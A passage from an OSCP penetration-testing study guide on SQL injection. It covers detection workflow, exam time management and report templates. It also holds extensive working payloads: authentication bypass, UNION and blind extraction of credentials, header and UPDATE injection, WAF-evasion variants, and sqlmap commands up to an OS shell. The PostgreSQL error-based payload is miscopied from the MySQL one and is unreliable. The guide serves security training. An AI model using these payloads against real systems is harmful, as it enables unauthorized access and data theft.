│ │ └── "SQLite" → SQLite
│ │
│ └── No → Try function-based fingerprinting
│ │
│ ├── Test: # comment
│ │ ├── Works → MySQL
│ │ └── Doesn't work → Continue
│ │
│ ├── Test: SLEEP(5)
│ │ ├── Works → MySQL
│ │ └── Doesn't work → Continue
│ │
│ ├── Test: WAITFOR DELAY '0:0:5'
│ │ ├── Works → MSSQL
│ │ └── Doesn't work → Continue
│ │
│ ├── Test: pg_sleep(5)
│ │ ├── Works → PostgreSQL
│ │ └── Doesn't work → Continue
│ │
│ └── Test: DBMS_PIPE.RECEIVE_MESSAGE
│ ├── Works → Oracle
│ └── Doesn't work → Try other methods
│
└── Use sqlmap -- it auto-fingerprints the database
6. OSCP Exam Detection Strategy
6.1 Systematic Approach to Testing Each Input
Step-by-Step Detection Workflow
┌─────────────────────────────────────────────────────────┐
│ STEP 1: RECONNAISSANCE (5-10 minutes per application) │
├─────────────────────────────────────────────────────────┤
│ 1.1 Map all pages and functionality │
│ 1.2 Identify all input points: │
│ ├── URL parameters (GET) │
│ ├── Form fields (POST) │
│ ├── Hidden form fields │
│ ├── HTTP headers │
│ ├── Cookies │
│ └── JSON bodies │
│ 1.3 Note the technology stack (Wappalyzer, headers) │
└─────────────────────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────┐
│ STEP 2: QUICK MANUAL TEST (2-3 minutes per input) │
├─────────────────────────────────────────────────────────┤
│ 2.1 Test with single quote: ' │
│ 2.2 Observe response: │
│ ├── DB error → SQLi confirmed, note DB type │
│ ├── 500 error → SQLi likely │
│ ├── Content change → SQLi likely │
│ └── No change → Try other payloads │
│ 2.3 If no error, try: ' OR '1'='1 │
│ 2.4 If still no change, try: 1 AND 1=2 │
│ 2.5 If still no change, try: 1' AND SLEEP(5)-- │
└─────────────────────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────┐
│ STEP 3: CONFIRMATION (3-5 minutes) │
├─────────────────────────────────────────────────────────┤
│ 3.1 Determine injection type: │
│ ├── Error-based → Errors displayed │
│ ├── Union-based → Try UNION NULL test │
│ ├── Boolean-based → Content changes with TRUE/FALSE│
│ └── Time-based → Delay with SLEEP/WAITFOR │
│ 3.2 Determine column count (if UNION): │
│ ├── Try ORDER BY 1, 2, 3... until error │
│ └── Note the number of columns │
│ 3.3 Fingerprint the database │
└─────────────────────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────┐
│ STEP 4: AUTOMATED EXPLOITATION (if needed) │
├─────────────────────────────────────────────────────────┤
│ 4.1 Run sqlmap on confirmed injection point │
│ 4.2 Extract databases, tables, columns, data │
│ 4.3 Try for database shell → OS shell │
└─────────────────────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────┐
│ STEP 5: DOCUMENTATION │
├─────────────────────────────────────────────────────────┤
│ 5.1 Screenshot the injection point │
│ 5.2 Screenshot the proof of exploitation │
│ 5.3 Record the working payload │
│ 5.4 Note the database type and version │
└─────────────────────────────────────────────────────────┘
6.2 Time Management During Exam
Recommended Time Allocation
| Activity | Time per Input | Max Time per App | Notes |
|---|---|---|---|
| Reconnaissance | 5-10 min | 15 min | Map all inputs first |
| Quick manual test | 2-3 min | 20 min | Test all inputs quickly |
| Deep testing (positive) | 10-15 min | 30 min | Only for confirmed SQLi |
| SQLMap exploitation | 5-10 min | 20 min | Let it run while you work elsewhere |
| Documentation | 3-5 min | 10 min | Document as you go |
Time Management Rules
- Spend no more than 3 minutes on a single input before moving on
- If sqlmap is running, let it work in the background while you test other targets
- Prioritize inputs that are most likely to be SQLi:
- Numeric ID parameters (
id=1,page=1) - Search fields
- Sort/order parameters
- Authentication fields
- Numeric ID parameters (
- If you’ve spent 30 minutes on SQLi with no success, move to another attack vector
- Document positives immediately - don’t wait until the end
6.3 Documentation Requirements
What to Document for OSCP Report
1. Vulnerability Description:
SQL Injection vulnerability found in the 'id' parameter of
http://target.com/products.php. The parameter is not properly
sanitized, allowing an attacker to manipulate the underlying
SQL query.
2. Proof of Exploitation:
Payload: id=1' UNION SELECT username,password,3 FROM users--
Evidence:
- Normal response shows product details for id=1
- Injected response shows username and password from the users table
- Database type: MySQL 5.7
- Injection type: Union-based
3. Screenshots Required:
- Screenshot of the normal page
- Screenshot showing the injection (error or extracted data)
- Screenshot of sqlmap output (if used)
- Screenshot of extracted credentials/data
4. Impact Statement:
This vulnerability allows an attacker to:
- Extract all data from the database
- Bypass authentication
- Potentially execute operating system commands
- Modify or delete database records
Documentation Template
## SQL Injection - [Target Name]
### Vulnerability Details
- **URL:** http://target.com/vulnerable.php
- **Parameter:** id (GET)
- **Type:** Union-based SQL Injection
- **Database:** MySQL 5.7
### Discovery
The 'id' parameter was tested with a single quote (') which resulted
in a MySQL syntax error, confirming the parameter is not properly
sanitized.
### Proof of Exploitation
**Payload:** `id=1' UNION SELECT 1,2,3--`
This payload returned three columns, confirming the original query
returns 3 columns. Using this, we extracted data from the users table:
**Payload:** `id=1' UNION SELECT username,password,3 FROM users--`
### Extracted Data
| Username | Password Hash |
|----------|--------------|
| admin | 5f4dcc3b5aa765... |
| user1 | e10adc3949ba59... |
### Impact
An attacker can extract all database contents, bypass authentication,
and potentially gain OS-level access through the database.
### Remediation
Use parameterized queries (prepared statements) instead of string
concatenation for SQL queries.
6.4 Common OSCP SQLi Scenarios
Scenario 1: Numeric ID Parameter
URL: http://target.com/product.php?id=1
Test: id=1' → MySQL error
Test: id=1' ORDER BY 3-- → Works
Test: id=1' ORDER BY 4-- → Error (3 columns)
Test: id=1' UNION SELECT 1,2,3-- → Shows 1,2,3 on page
Test: id=1' UNION SELECT user(),database(),version()-- → DB info
Scenario 2: Login Bypass
URL: http://target.com/login.php
Test username: admin'--
Test password: anything
Result: Logged in as admin
Alternative:
Test username: admin' OR '1'='1
Test password: anything
Scenario 3: Search Field
URL: http://target.com/search.php?q=test
Test: q=' → Error
Test: q=' UNION SELECT 1,2-- → Works
Test: q=' UNION SELECT table_name,2 FROM information_schema.tables-- → Tables
Scenario 4: Time-Based Blind
URL: http://target.com/profile.php?id=1
Test: id=1' → No visible change
Test: id=1' AND SLEEP(5)-- → 5 second delay
Test: id=1' AND IF(1=1, SLEEP(3), 0)-- → 3 second delay (confirmed)
Test: id=1' AND IF(1=2, SLEEP(3), 0)-- → No delay (control confirmed)
7. Quick Reference Cards
7.1 Detection Payload Quick Reference
┌──────────────────────────────────────────────────────────────────┐
│ SQLI DETECTION PAYLOADS │
├──────────────────┬───────────────────────────────────────────────┤
│ Basic Test │ ' │
│ │ " │
├──────────────────┼───────────────────────────────────────────────┤
│ Comment Test │ '-- │
│ │ '/* │
│ │ '# (MySQL only) │
├──────────────────┼───────────────────────────────────────────────┤
│ Boolean Test │ ' OR '1'='1 │
│ │ ' OR '1'='1'-- │
│ │ 1 OR 1=1-- │
│ │ 1 AND 1=2-- │
├──────────────────┼───────────────────────────────────────────────┤
│ UNION Test │ ' UNION SELECT NULL-- │
│ │ ' UNION SELECT NULL,NULL-- │
│ │ ' UNION SELECT NULL,NULL,NULL-- │
├──────────────────┼───────────────────────────────────────────────┤
│ Time Test │ ' AND SLEEP(5)-- (MySQL) │
│ │ '; WAITFOR DELAY '0:0:5'-- (MSSQL) │
│ │ ' AND pg_sleep(5)-- (PostgreSQL) │
├──────────────────┼───────────────────────────────────────────────┤
│ Auth Bypass │ admin'-- │
│ │ admin' OR '1'='1 │
│ │ ' OR ''=' │
├──────────────────┼───────────────────────────────────────────────┤
│ Column Count │ ' ORDER BY 1-- │
│ │ ' ORDER BY 2-- │
│ │ ... │
└──────────────────┴───────────────────────────────────────────────┘
7.2 Database Fingerprinting Quick Reference
┌──────────────────┬──────────────────────────────────────────────────┐
│ Database │ Fingerprinting Payloads │
├──────────────────┼──────────────────────────────────────────────────┤
│ MySQL │ @@version, SLEEP(), BENCHMARK(), # comment │
│ MSSQL │ @@VERSION, WAITFOR DELAY, xp_cmdshell │
│ PostgreSQL │ version(), pg_sleep(), current_database() │
│ Oracle │ v$version, DUAL, DBMS_PIPE │
│ SQLite │ sqlite_version(), randomblob() │
└──────────────────┴──────────────────────────────────────────────────┘
7.3 SQLMap Quick Reference
# Detection
sqlmap -u "URL?param=value" --batch --random-agent
# With POST data
sqlmap -u "URL" --data="param=value" --batch
# With request file
sqlmap -r request.txt --batch
# Enumerate databases
sqlmap -u "URL" --dbs --batch
# Enumerate tables
sqlmap -u "URL" -D "dbname" --tables --batch
# Dump data
sqlmap -u "URL" -D "dbname" -T "tablename" --dump --batch
# OS shell
sqlmap -u "URL" --os-shell --batch
7.4 Decision Tree: Is This SQLi?
Input point identified?
│
▼
Test with single quote (')
│
├── DB error message → YES, SQLi confirmed
│ └── Note database type from error
│
├── 500 Internal Server Error → LIKELY SQLi
│ └── Try other payloads to confirm
│
├── Page content changes → LIKELY SQLi
│ └── Try OR '1'='1 to confirm
│
├── No visible change → MAYBE blind SQLi
│ ├── Try OR '1'='1
│ │ ├── More results → YES, boolean-based SQLi
│ │ └── No change → Try time-based
│ │
│ └── Try AND SLEEP(5)--
│ ├── Delay observed → YES, time-based blind SQLi
│ └── No delay → Probably NOT SQLi
│
└── Application error (not DB) → Probably NOT SQLi
└── Input may be sanitized or not SQL-related
7.5 OSCP SQLi Priority Checklist
Before starting SQLi testing:
[ ] Have I identified all input points?
[ ] Have I checked hidden form fields?
[ ] Have I reviewed Burp history for hidden parameters?
[ ] Do I know the technology stack?
During testing:
[ ] Did I test with single quote first?
[ ] Did I note the response type (error/content/time)?
[ ] Did I determine the injection type?
[ ] Did I fingerprint the database?
After confirmation:
[ ] Did I document the working payload?
[ ] Did I take screenshots?
[ ] Did I extract useful data (credentials, etc.)?
[ ] Did I note the impact?
Time check:
[ ] Have I spent less than 3 min per input?
[ ] Have I spent less than 30 min total on SQLi?
[ ] Should I move to another attack vector?
Appendix A: Complete Payload Reference by Injection Type
Error-Based Payloads
-- MySQL
1' AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT version()), FLOOR(RAND(0)*2)) x FROM information_schema.tables GROUP BY x) a)--
-- MSSQL
1' AND 1=CONVERT(int, (SELECT @@version))--
-- PostgreSQL
1' AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT version()), FLOOR(RAND(0)*2)) x FROM information_schema.tables GROUP BY x) a)--
Union-Based Payloads
-- Determine column count
1' ORDER BY 1--
1' ORDER BY 2--
1' ORDER BY 3--
-- Extract database info (3 columns)
1' UNION SELECT 1, database(), version()--
-- Extract table names
1' UNION SELECT 1, table_name, 3 FROM information_schema.tables--
-- Extract column names
1' UNION SELECT 1, column_name, 3 FROM information_schema.columns WHERE table_name='users'--
-- Extract data
1' UNION SELECT 1, username, password FROM users--
Boolean-Based Blind Payloads
-- Database name length
1' AND LENGTH(database())>5--
-- Database name character by character
1' AND ASCII(SUBSTRING(database(),1,1))>100--
-- Table existence
1' AND (SELECT COUNT(*) FROM information_schema.tables WHERE table_name='users')>0--
-- Column existence
1' AND (SELECT COUNT(*) FROM information_schema.columns WHERE table_name='users' AND column_name='password')>0--
-- Data extraction character by character
1' AND ASCII(SUBSTRING((SELECT password FROM users LIMIT 0,1),1,1))>100--
Time-Based Blind Payloads
-- MySQL
1' AND IF(1=1, SLEEP(5), 0)--
1' AND IF(ASCII(SUBSTRING(database(),1,1))>100, SLEEP(5), 0)--
-- MSSQL
1'; IF(1=1) WAITFOR DELAY '0:0:5'--
-- PostgreSQL
1' AND (SELECT CASE WHEN (1=1) THEN pg_sleep(5) ELSE pg_sleep(0) END)--
Appendix B: SQLi in Different Contexts
SQLi in ORDER BY Clause
-- Numeric context (no quotes needed)
http://target.com/page.php?sort=id ASC
http://target.com/page.php?sort=id; SELECT SLEEP(5)--
-- String context
http://target.com/page.php?sort=name'
SQLi in LIMIT Clause
http://target.com/page.php?limit=10
http://target.com/page.php?limit=10; SELECT SLEEP(5)--
http://target.com/page.php?limit=10 UNION SELECT 1,2,3--
SQLi in INSERT Statements
-- Registration form
username: admin'--
password: anything
-- Or:
username: admin'),('hacker','hackerpass')--
password: anything
SQLi in UPDATE Statements
-- Profile update
old_password: password' SET email='hacker@evil.com'--
new_password: anything
confirm_password: anything
SQLi in HTTP Headers
User-Agent: ' OR '1'='1
Cookie: id=1' OR '1'='1
Referer: ' UNION SELECT username,password FROM users--
X-Forwarded-For: 1.1.1.1' OR '1'='1
Accept-Language: en' OR '1'='1
Appendix C: WAF Bypass Techniques for Detection
When a WAF blocks standard payloads, try these variations:
Case Variation
' Or '1'='1
' UNION SeLeCt NULL--
' AnD SlEeP(5)--
Encoding
-- URL encoding
%27%20OR%20%271%27%3D%271
-- Double URL encoding
%2527%20OR%20%25271%2527%3D%25271
Whitespace Variation
'/**/OR/**/'1'='1
'/**/UNION/**/SELECT/**/NULL--
'/**/AND/**/SLEEP(5)--
Comment Injection
'/*comment*/OR/**/'1'='1
'/*!12345UNION*/SELECT NULL--
String Concatenation
-- MySQL
' OR CONCAT('a','d','m','i','n')='admin'
-- MSSQL
' OR 'a'+'d'+'m'+'i'+'n'='admin'
This study guide is designed for OSCP exam preparation. Always practice in authorized lab environments only.
Last Updated: 2026-09-01